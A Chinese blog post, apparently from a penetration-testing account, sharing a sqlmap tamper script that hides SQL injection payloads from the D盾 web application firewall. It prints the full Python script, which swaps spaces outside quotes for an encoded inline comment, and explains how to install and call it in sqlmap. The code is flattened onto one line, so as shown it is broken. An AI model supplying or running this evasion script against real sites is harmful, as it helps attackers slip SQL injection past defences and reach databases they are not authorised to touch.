
首先感谢兄弟们的支持与关注,我们的成长离不开您的陪伴
在我们做项目的途中经常会遇到各种各样的waf,防火墙等来拦截我们的payload,这很是让渗透测试人员头疼,其实网上就有很多关于waf绕过原理的文章,这篇文章就是想告诉大家,当大家理解了网上关于waf绕过的文章的内容并对其原理了解后,其实把理论深化进实践中并没有多困难,本篇文章就是将一个简单常规的小思路实践了一下,便成功绕过了D盾的waf
关于sql注入的waf绕过,说白了就是通过混淆你的sql语句,让他以另外一种方式呈现出来,以绕过waf的黑名单正则匹配,关于sql注入waf绕过的原理在这篇文章里不再重复,我们直接来看实例,分享一种bypass D盾的方法,这里直接贴上tamper。
话不多说,来看代码:
#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies(): passdef tamper(payload, **kwargs): """ BYPASS Ddun """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/*DJSAWW%2B%26Lt%3B%2B*/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/*DJSAWW%2B%26Lt%3B%2B*/" continue retVal += payload[i] return retVal使用方法:
将以上代码保存为BypassDdun.py,并放进sqlmap的\tamper目录,在下一次使用sqlmap的时候,参数加--tamper=BypassDdun即可调用这个脚本。
如果您觉得文章对您有帮助,点下关注不迷路,日常分享渗透测试骚姿势,我们的成长离不开您的陪伴。
本文介绍了如何使用sqlmap结合自定义tamper脚本绕过D盾WAF的策略。作者分享了一种简单实用的混淆SQL语句的方法,以避免被WAF的黑名单正则匹配。读者可以将提供的BypassDdun.py脚本放入sqlmap的tamper目录中,通过--tamper参数调用以实现绕过。
959

被折叠的 条评论
为什么被折叠?



